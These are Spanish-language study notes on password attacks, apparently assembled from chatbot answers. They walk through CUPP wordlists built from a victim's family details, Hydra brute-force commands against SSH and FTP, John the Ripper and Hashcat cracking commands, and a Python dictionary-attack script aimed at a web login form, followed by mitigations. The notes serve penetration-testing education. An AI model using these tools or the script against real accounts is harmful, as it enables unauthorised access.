¿Como encontrar contraseñas?

* Identificar tecnologías por default
* Ataques de fuerza bruta
* Ataque de diccionario
* Adivinar la contraseña (Password Guessing)

cupp.py

Permite generar contraseñas en base a la información de la víctima. BurpSuite -> Utilizado en el Pentesting de aplicaciones web.

<https://github.com/Mebus/cupp>

CUpp (Common User Passwords Profiler) es una herramienta diseñada para generar listas de contraseñas basadas en la información proporcionada por el usuario. Es especialmente útil para realizar ataques de diccionario más personalizados y dirigidos. A continuación te proporciono más información sobre CUpp y cómo usarlo.

### Características de CUpp

* Generación de listas de contraseñas personalizadas basadas en la información del objetivo.
* Uso de reglas predefinidas para crear combinaciones de contraseñas comunes.
* Capacidad para combinar diferentes datos y patrones para crear una lista más amplia de contraseñas posibles.

### Instalación de CUpp

Para instalar CUpp, necesitas clonar el repositorio desde GitHub. Asegúrate de tener git instalado en tu sistema.

bash

Copy code

git clone https://github.com/Mebus/cupp.git

cd cupp

### Uso de CUpp

Una vez instalado, puedes ejecutar CUpp para generar una lista de contraseñas. Aquí tienes un ejemplo de cómo usarlo:

bash

Copy code

python3 cupp.py -i

### Generación de Contraseñas Personalizadas

El comando python3 cupp.py -i te guiará a través de una serie de preguntas para recopilar información sobre el objetivo, como su nombre, apellidos, fechas importantes, etc. A partir de esta información, CUpp generará una lista de contraseñas personalizada.

#### Ejemplo:

bash

Copy code

┌──(kali㉿kali)-[~/cupp]

└─$ python3 cupp.py -i

[!] Insert the information about the victim to make a dictionary

[!] If you don't know all the info, just hit enter when asked!

> First Name: John

> Surname: Doe

> Nickname: Johnny

> Birthdate (DDMMYYYY): 01011990

> Wife's name: Jane

> Wife's nickname: Jenny

> Wife's birthdate (DDMMYYYY): 02021990

> Child's name: Jack

> Child's nickname: Jacky

> Child's birthdate (DDMMYYYY): 03032010

> Pet's name: Rex

> Company name: ExampleCorp

> Do you want to add some keywords about the victim? (y/[n]): y

> Please enter the keywords, separated by comma: football, music, reading

> Do you want to add special chars at the end of words? (y/[n]): y

> Do you want to add some random numbers at the end of words? (y/[n]): y

> Leetspeak mode? (i.e. hacker -> h4ck3r) (y/[n]): y

[!] Now making a dictionary...

### Otras Opciones de CUpp

CUpp también tiene otras opciones que puedes usar para generar listas de contraseñas de manera diferente. Aquí hay algunos ejemplos:

* **Generar contraseñas a partir de un archivo de nombres comunes**:

bash

Copy code

python3 cupp.py -w

* **Mezclar listas de contraseñas existentes**:

bash

Copy code

python3 cupp.py -a existing\_wordlist.txt

* **Combinar diferentes opciones**:

bash

Copy code

python3 cupp.py -i -w -a existing\_wordlist.txt

### Documentación y Recursos

Puedes encontrar más información sobre cómo usar CUpp y sus diferentes opciones en el repositorio de GitHub:

* [CUpp en GitHub](https://github.com/Mebus/cupp)

### Integración con Otras Herramientas

Una vez que hayas generado tu lista de contraseñas con CUpp, puedes usarla con otras herramientas de ataque como Hydra o John the Ripper para realizar ataques de fuerza bruta o de diccionario más efectivos.

#### Ejemplo con Hydra:

bash

Copy code

hydra -l username -P generated\_wordlist.txt ssh://192.168.1.100

#### Ejemplo con John the Ripper:

bash

Copy code

john --wordlist=generated\_wordlist.txt /path/to/hashfile.txt

CUpp es una herramienta poderosa que puede ayudarte a crear listas de contraseñas personalizadas y dirigidas, mejorando la efectividad de tus pruebas de penetración. Utiliza esta herramienta de manera ética y responsable, siempre obteniendo el consentimiento adecuado antes de realizar cualquier prueba de seguridad.

El password guessing (adivinanza de contraseñas) es una técnica utilizada en la seguridad informática para intentar descubrir la contraseña de un usuario. Esta técnica puede emplearse de manera ética en pruebas de penetración para identificar vulnerabilidades en sistemas de autenticación o de manera maliciosa por atacantes para obtener acceso no autorizado a sistemas. A continuación, se describen algunos métodos comunes de password guessing y cómo se pueden mitigar estos ataques.

### Métodos Comunes de Password Guessing

1. **Ataque de Fuerza Bruta (Brute Force Attack)**:
   * Este método consiste en probar todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta.
   * **Ventaja**: Garantiza encontrar la contraseña si se dispone de suficiente tiempo y recursos.
   * **Desventaja**: Extremadamente lento para contraseñas largas y complejas.
2. **Ataque de Diccionario (Dictionary Attack)**:
   * Utiliza una lista predefinida de contraseñas comunes o palabras del diccionario para intentar iniciar sesión.
   * **Ventaja**: Rápido en comparación con el ataque de fuerza bruta.
   * **Desventaja**: No es efectivo contra contraseñas complejas o únicas.
3. **Ataque de Lista de Contraseñas (Password List Attack)**:
   * Similar al ataque de diccionario, pero usa listas de contraseñas filtradas de bases de datos comprometidas.
   * **Ventaja**: Alto éxito contra usuarios que reutilizan contraseñas comprometidas.
   * **Desventaja**: Limitado a las contraseñas presentes en las listas.
4. **Ataque de Ingeniería Social (Social Engineering Attack)**:
   * Involucra manipular a los usuarios para que revelen sus contraseñas.
   * **Ventaja**: Puede ser muy efectivo sin necesidad de herramientas técnicas.
   * **Desventaja**: Requiere interacción humana y habilidades de manipulación.

### Herramientas de Password Guessing

1. **John the Ripper**:
   * Herramienta de cracking de contraseñas que soporta ataques de diccionario y de fuerza bruta.
   * Comandos básicos:

bash

Copy code

john --wordlist=/path/to/wordlist.txt /path/to/hashfile.txt

john --incremental /path/to/hashfile.txt

1. **Hydra**:
   * Herramienta rápida y flexible para ataques de fuerza bruta contra muchos servicios de red.
   * Comandos básicos:

bash

Copy code

hydra -l username -P /path/to/passwordlist.txt ftp://192.168.1.100

hydra -L /path/to/userlist.txt -P /path/to/passwordlist.txt ssh://192.168.1.100

1. **Hashcat**:
   * Herramienta avanzada para cracking de contraseñas que utiliza la GPU para acelerar el proceso.
   * Comandos básicos:

bash

Copy code

hashcat -m 0 -a 0 /path/to/hashfile.txt /path/to/wordlist.txt

hashcat -m 0 -a 3 /path/to/hashfile.txt ?a?a?a?a?a?a

### Mitigación de Ataques de Password Guessing

1. **Políticas de Contraseñas Fuertes**:
   * Requiere que las contraseñas tengan una longitud mínima y que incluyan una combinación de letras, números y caracteres especiales.
   * **Ejemplo**: Una política que requiera contraseñas de al menos 12 caracteres, incluyendo mayúsculas, minúsculas, números y símbolos.
2. **Limitación de Intentos de Inicio de Sesión**:
   * Implementar bloqueos de cuenta después de un número determinado de intentos fallidos.
   * **Ejemplo**: Bloquear la cuenta después de 5 intentos fallidos y requerir verificación adicional para desbloquear.
3. **Autenticación Multifactor (MFA)**:
   * Requiere más de un factor para verificar la identidad del usuario, como una contraseña y un código enviado a su teléfono.
   * **Ejemplo**: Google Authenticator, SMS, correo electrónico de verificación.
4. **Monitoreo y Detección de Actividades Sospechosas**:
   * Implementar sistemas de monitoreo para detectar intentos de inicio de sesión inusuales o múltiples fallos de autenticación.
   * **Ejemplo**: Usar herramientas SIEM (Security Information and Event Management) para alertar sobre patrones de comportamiento anómalos.
5. **Educación y Concienciación del Usuario**:
   * Informar a los usuarios sobre la importancia de usar contraseñas únicas y no reutilizar contraseñas en múltiples sitios.
   * **Ejemplo**: Campañas de concienciación sobre seguridad de contraseñas y entrenamiento en ciberseguridad.

### Ejemplo de Implementación en Python

Un simple script de Python para realizar un ataque de diccionario contra una página de inicio de sesión.

python

Copy code

import requests

url = 'http://example.com/login'

username = 'admin'

password\_list = 'passwords.txt'

def try\_login(username, password):

data = {'username': username, 'password': password}

response = requests.post(url, data=data)

if 'Welcome' in response.text:

return True

return False

with open(password\_list, 'r') as file:

for line in file:

password = line.strip()

if try\_login(username, password):

print(f'[+] Password found: {password}')

break

else:

print(f'[-] Failed with password: {password}')

Este script intenta iniciar sesión en una página web utilizando una lista de contraseñas (password\_list.txt). Reemplaza url con la URL de la página de inicio de sesión objetivo.

### Recursos Adicionales

* OWASP Password Storage Cheat Sheet
* [NIST Password Guidelines](https://pages.nist.gov/800-63-3/sp800-63b.html)
* [Have I Been Pwned](https://haveibeenpwned.com/) para verificar si tus contraseñas han sido comprometidas.

Estas son algunas de las formas y técnicas para realizar y mitigar ataques de adivinanza de contraseñas. Utiliza esta información de manera ética y siempre con autorización para pruebas de seguridad.